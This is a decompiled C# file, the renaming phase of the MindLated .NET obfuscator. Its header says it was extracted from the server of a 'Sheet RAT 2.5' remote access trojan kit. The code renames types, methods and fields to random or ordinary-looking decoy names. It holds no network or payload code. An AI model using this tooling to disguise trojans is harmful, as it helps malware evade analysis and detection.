// Decompiled with JetBrains decompiler // Type: MindLated.Protection.Renamer.RenamerPhase // Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA // Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe using dnlib.DotNet; using System; using System.Windows.Forms; using System.Collections.Generic; using System.Linq; //#nullable disable namespace MindLated.Protection.Renamer { public class RenamerPhase { private static readonly Dictionary TypeRename = new Dictionary(); private static readonly List TypeNewName = new List(); private static readonly Dictionary MethodRename = new Dictionary(); private static readonly List MethodNewName = new List(); private static readonly Dictionary FieldRename = new Dictionary(); private static readonly List FieldNewName = new List(); private static readonly bool IsObfuscationActive = true; private static readonly Random Random = new Random(); private static readonly string[] NormalNameStrings = new string[257] { "HasPermission", "HasPermissions", "GetPermissions", "GetOpenWindows", "EnumWindows", "GetWindowText", "GetWindowTextLength", "IsWindowVisible", "GetShellWindow", "Awake", "FixedUpdate", "add_OnRockedInitialized", "remove_OnRockedInitialized", "Awake", "Initialize", "Translate", "Reload", "b__13_0", "Initialize", "FixedUpdate", "Start", "checkTimerRestart", "QueueOnMainThread", "QueueOnMainThread", "RunAsync", "RunAction", "Awake", "FixedUpdate", "IsUri", "GetTypes", "GetTypesFromParentClass", "GetTypesFromParentClass", "GetTypesFromInterface", "GetTypesFromInterface", "get_Timeout", "set_Timeout", "GetWebRequest", "get_SteamID64", "set_SteamID64", "get_SteamID", "set_SteamID", "get_OnlineState", "set_OnlineState", "get_StateMessage", "set_StateMessage", "get_PrivacyState", "set_PrivacyState", "get_VisibilityState", "set_VisibilityState", "get_AvatarIcon", "set_AvatarIcon", "get_AvatarMedium", "set_AvatarMedium", "get_AvatarFull", "set_AvatarFull", "get_IsVacBanned", "set_IsVacBanned", "get_TradeBanState", "set_TradeBanState", "get_IsLimitedAccount", "set_IsLimitedAccount", "get_CustomURL", "set_CustomURL", "get_MemberSince", "set_MemberSince", "get_HoursPlayedLastTwoWeeks", "set_HoursPlayedLastTwoWeeks", "get_Headline", "set_Headline", "get_Location", "set_Location", "get_RealName", "set_RealName", "get_Summary", "set_Summary", "get_MostPlayedGames", "set_MostPlayedGames", "get_Groups", "set_Groups", "Reload", "ParseString", "ParseDateTime", "ParseDouble", "ParseUInt16", "ParseUInt32", "ParseUInt64", "ParseBool", "ParseUri", "IsValidCSteamID", "LoadDefaults", "LoadDefaults", "get_Clients", "Awake", "handleConnection", "FixedUpdate", "Broadcast", "OnDestroy", "Read", "Send", "b__8_0", "get_InstanceID", "set_InstanceID", "get_ConnectedTime", "set_ConnectedTime", "Send", "Read", "Close", "get_Address", "get_Instance", "set_Instance", "Save", "Load", "Unload", "Load", "Save", "Load", "get_Configuration", "LoadPlugin", "<.ctor>b__3_0", "b__4_0", "add_OnPluginUnloading", "remove_OnPluginUnloading", "add_OnPluginLoading", "remove_OnPluginLoading", "get_Translations", "get_State", "get_Assembly", "set_Assembly", "get_Directory", "set_Directory", "get_Name", "set_Name", "get_DefaultTranslations", "IsDependencyLoaded", "ExecuteDependencyCode", "Translate", "ReloadPlugin", "LoadPlugin", "UnloadPlugin", "OnEnable", "OnDisable", "Load", "Unload", "TryAddComponent", "TryRemoveComponent", "add_OnPluginsLoaded", "remove_OnPluginsLoaded", "get_Plugins", "GetPlugins", "GetPlugin", "GetPlugin", "Awake", "Start", "GetMainTypeFromAssembly", "loadPlugins", "unloadPlugins", "Reload", "GetAssembliesFromDirectory", "LoadAssembliesFromDirectory", "b__12_0", "GetGroupsByIds", "GetParentGroups", "HasPermission", "GetGroup", "RemovePlayerFromGroup", "AddPlayerToGroup", "DeleteGroup", "SaveGroup", "AddGroup", "GetGroups", "GetPermissions", "GetPermissions", "b__11_3", "Start", "FixedUpdate", "Reload", "HasPermission", "GetGroups", "GetPermissions", "GetPermissions", "AddPlayerToGroup", "RemovePlayerFromGroup", "GetGroup", "SaveGroup", "AddGroup", "DeleteGroup", "DeleteGroup", "b__4_0", "Enqueue", "_Logger_DoWork", "processLog", "Log", "Log", "var_dump", "LogWarning", "LogError", "LogError", "Log", "LogException", "ProcessInternalLog", "logRCON", "writeToConsole", "ProcessLog", "ExternalLog", "Invoke", "_invoke", "TryInvoke", "get_Aliases", "get_AllowedCaller", "get_Help", "get_Name", "get_Permissions", "get_Syntax", "Execute", "get_Aliases", "get_AllowedCaller", "get_Help", "get_Name", "get_Permissions", "get_Syntax", "Execute", "get_Aliases", "get_AllowedCaller", "get_Help", "get_Name", "get_Permissions", "get_Syntax", "Execute", "get_Name", "set_Name", "get_Name", "set_Name", "get_Name", "get_Help", "get_Syntax", "get_AllowedCaller", "get_Commands", "set_Commands", "add_OnExecuteCommand", "remove_OnExecuteCommand", "Reload", "Awake", "checkCommandMappings", "checkDuplicateCommandMappings", "Plugins_OnPluginsLoaded", "GetCommand", "GetCommand", "getCommandIdentity", "getCommandType", "Register", "Register", "Register", "DeregisterFromAssembly", "GetCooldown", "SetCooldown", "Execute", "RegisterFromAssembly" }; private const string Ascii = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; private const string number = "1234567890"; public static void Execute(ModuleDefMD module, RenamerPhase.RenameMode renameMode) { if (RenamerPhase.IsObfuscationActive) { string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); foreach (TypeDef type in (IEnumerable) module.Types) { if (new Random().Next(0, 4) == 1) str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); bool flag1; if (RenamerPhase.TypeRename.TryGetValue(type, out flag1)) { if (flag1) RenamerPhase.InternalRename(type); } else RenamerPhase.InternalRename(type); type.Namespace = (UTF8String) str; foreach (MethodDef method in (IEnumerable) type.Methods) { bool flag2; if (RenamerPhase.MethodRename.TryGetValue(method, out flag2)) { if (flag2 && !method.IsConstructor && !method.IsSpecialName) RenamerPhase.InternalRename(method); } else if (!method.IsConstructor && !method.IsSpecialName) RenamerPhase.InternalRename(method); } RenamerPhase.MethodNewName.Clear(); foreach (FieldDef field in (IEnumerable) type.Fields) { bool flag3; if (RenamerPhase.FieldRename.TryGetValue(field, out flag3)) { if (flag3) RenamerPhase.InternalRename(field); } else RenamerPhase.InternalRename(field); } RenamerPhase.FieldNewName.Clear(); } } else { foreach (KeyValuePair keyValuePair in RenamerPhase.TypeRename.Where>((Func, bool>) (typeItem => typeItem.Value))) RenamerPhase.InternalRename(keyValuePair.Key); foreach (KeyValuePair keyValuePair in RenamerPhase.MethodRename.Where>((Func, bool>) (methodItem => methodItem.Value))) RenamerPhase.InternalRename(keyValuePair.Key); foreach (KeyValuePair keyValuePair in RenamerPhase.FieldRename.Where>((Func, bool>) (fieldItem => fieldItem.Value))) RenamerPhase.InternalRename(keyValuePair.Key); } } private static void InternalRename(TypeDef type) { string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); while (RenamerPhase.TypeNewName.Contains(str)) str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); RenamerPhase.TypeNewName.Add(str); type.Name = (UTF8String) str; } private static void InternalRename(MethodDef method) { string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); while (RenamerPhase.MethodNewName.Contains(str)) str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); RenamerPhase.MethodNewName.Add(str); method.Name = (UTF8String) str; } private static void InternalRename(FieldDef field) { string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); while (RenamerPhase.FieldNewName.Contains(str)) str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); RenamerPhase.FieldNewName.Add(str); field.Name = (UTF8String) str; } private static string RandomString(int length) { char ch = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"[RenamerPhase.Random.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".Length)]; char[] array = Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", length - 1).Select((Func) (s => s[RenamerPhase.Random.Next(s.Length)])).ToArray(); return ch.ToString() + new string(array); } private static string GetRandomName() { return RenamerPhase.NormalNameStrings[RenamerPhase.Random.Next(RenamerPhase.NormalNameStrings.Length)]; } public static string GenerateString(RenamerPhase.RenameMode mode) { switch (mode) { case RenamerPhase.RenameMode.Ascii: return RenamerPhase.RandomString(RenamerPhase.Random.Next(8, 16 /*0x10*/)); case RenamerPhase.RenameMode.Key: return RenamerPhase.RandomString(16 /*0x10*/); case RenamerPhase.RenameMode.Normal: return RenamerPhase.GetRandomName(); default: throw new ArgumentOutOfRangeException(nameof (mode), (object) mode, (string) null); } } public enum RenameMode { Ascii, Key, Normal, } } }